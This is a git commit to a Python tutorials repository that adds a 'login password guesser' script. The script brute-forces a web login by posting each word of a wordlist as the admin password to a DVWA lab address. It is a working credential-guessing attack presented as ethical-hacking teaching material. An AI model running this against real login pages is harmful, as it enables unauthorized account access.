add login password guesser tutorial

Author: x4nth055

README.md

@@ -42,6 +42,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses))
     - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker))
     - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker))
+    - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser))
 
 - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
     - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

ethical-hacking/login-password-guesser/README.md

@@ -0,0 +1 @@
+# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python)

ethical-hacking/login-password-guesser/login_password_guesser.py

@@ -0,0 +1,24 @@
+import requests, sys
+from colorama import Fore, init
+
+init()
+
+def guess_password(target_url, username, wordlist_path, action_type):
+   parameters = {"username": username, 'password': '', 'Login': action_type}  # Create a dictionary 'parameters' with username, empty password, and action_type.
+   # Open the file containing our wordlist 'rockyou.txt' for reading.
+   with open(wordlist_path, 'r') as word_list:
+       # Loop through each word in the wordlist.
+       for each_word in word_list:
+           word = each_word.strip()  # Remove whitespace from the word.
+           parameters['password'] = word  # Set the password parameter to the current word.
+           # Send an HTTP POST request to the target_url with the current 'parameters'.
+           output = requests.post(target_url, data=parameters)
+           # Check if the response content does not contain "Login failed".
+           if 'Login failed' not in output.content.decode('utf-8'):
+         # If the condition is met, print a success message with the found password.
+               print(f"{Fore.GREEN} [+] Password Found! >>> {word} ")
+               sys.exit()  # Exit the script.
+   # If no password is found after iterating through the wordlist, print a failure message.
+   print(f"{Fore.RED} [-] Password not found.")
+
+guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit')

ethical-hacking/login-password-guesser/requirements.txt

@@ -0,0 +1,2 @@
+colorama
+requests